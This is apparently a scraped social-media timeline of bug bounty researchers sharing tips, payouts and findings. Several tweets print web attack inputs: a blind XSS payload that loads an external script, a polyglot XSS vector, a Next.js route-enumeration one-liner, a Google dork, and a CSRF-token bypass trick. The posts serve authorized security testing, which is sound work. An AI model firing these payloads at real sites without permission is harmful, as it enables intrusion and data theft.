locolocosec @locolocosec

Dev & Security Researcher l Loves Cooking & Football 🌿🌞 Joined November 2023

Tweets

1K
Followers

60
Following

570
Likes

2K

CryptoCat @_CryptoCat

5 days ago

@wearehackerone Not any time soon I don't think.. Did you see this new article by @pwnwithlove? Maybe it will help 🙏 yeswehack.com/learn-bug-boun…

1 4 21 404 19

Ghulam Yaseen @Yaseen11211

6 days ago

Blind XSS in Email Portal Leaking Email Logs Payload Used : ';"/></textarea></script><script src="https://test"></script> #bugbountytips

2 29 242 9K 135

Download Image

1 47 371 15K 327

Download Image

Mike Takahashi @TakSec

4 days ago

2 29 266 10K 277

Download Image

Muhammad Waseem @wgujjer11

4 days ago

Thank you @Adobe its my pleasure to work with you very professional team appreciate it ❤️✨ I Achieve Remote Code Execution in Dev Server's Severity 10 #bugbounty #Alhamdolilah

5 4 179 6K 20

Download Image

Md Ismail Šojal 🕷️ @0x0SojalSec

5 months ago

Use NextJS? Recon Tip by renniepak A quick way to find "all" paths for Next.js websites: DevTools->Console console.log(__BUILD_MANIFEST.sortedPages) javascript:console.log(__BUILD_MANIFEST.sortedPages.join('\n')); #infosec #cybersec #bugbountytips

7 253 1K 45K 1K

Download Image

HackerRats - Uncle Rat ❤️ (XSS Rat) @theXSSrat

5 days ago

Common Bug Bounty Myths That Are Holding You Back - Think you can’t start bug bounty hunting? These myths are why — here’s the truth. - Are these bug bounty myths stalling your hacking career? Let’s bust them. - Common bug bounty myths holding newcomers back — what no one tells…

2 8 34 4K 33

Mike Takahashi @TakSec

5 days ago

Google Dork - my favorite one site:example[.]com ext:php inurl:?

3 91 2K 89K 2K

Download Image

Md Ismail Šojal 🕷️ @0x0SojalSec

3 years ago

The best single #XSS vector you'll ever have! Payload : JavaScript://%250Aalert?.(1)// '/*\'/*"/*\"/*`/*\`/*%26apos;)/*

31 187 665 0 298

Niraj Mahajan @niraj1mahajan

6 days ago

Thank you @msftsecresponse 🙌🏻❤️

0 1 7 389 1

Download Image

chux @chux13786509

6 days ago

Hunters 🔥 Trying to increase attack surface? Check out hidden parameters 🔎 Hidden parameter hunting is one of the easiest ways to find high-impact bugs 🪲 1⃣ JS bundles & client code (.js, .map) — search for keywords like: payload, params, body, admin, is_ 2⃣ OpenAPI / Swagger…

0 12 101 6K 82

Muqsit 𝕏 @mqst_

5 days ago

💡 Novel SSRF Technique Involving HTTP Redirect Loops Blog: slcyber.io/assetnote-secu… author: @infosec_au

1 55 235 10K 133

Download Image

Corben Leo @hacker_

2 years ago

I've made $500k+ from SSRF vulnerabilities. Here are my tricks:

85 1K 4K 432K 5K

Download Image

Gospel @4osp3l

6 days ago

Today's finding with the team @d3q0w & @amsubedi2

1 5 82 4K 5

Download Image

D3k0w 🇰🇪 @d3q0w

5 days ago

CSRF reported today: Tip: - when there's a CSRF token in the request, just deleting it sometimes gives you 401. - Try to bypass it by deleting all the unnecessary cookies, to remain with the ones just validated specifically for that request. -Now delete the CSRF token. @4osp3l

4 10 87 5K 40

Frozt Nova @FroztNova127

5 days ago

Day 24 - Bug Bounty 1. Looking for hidden endpoint on js files but nothing interesting so far 2. Testing more graphql query and mutation, one of the mutation require auth, then I remember specific rest api endpoint that does the same doesnt require auth, auth bypass submitted

2 5 39 2K 11

Qatada | 눈‸눈 @itsQatada

6 days ago

Never be afraid of big targets for the following reasons : 1- daily code change 2- new updates 3- overlooked corners 4- everyone is avoiding them and saying "it's too crowded for me to test in it" {second pic is an advice i received from bugcrowd support team months ago}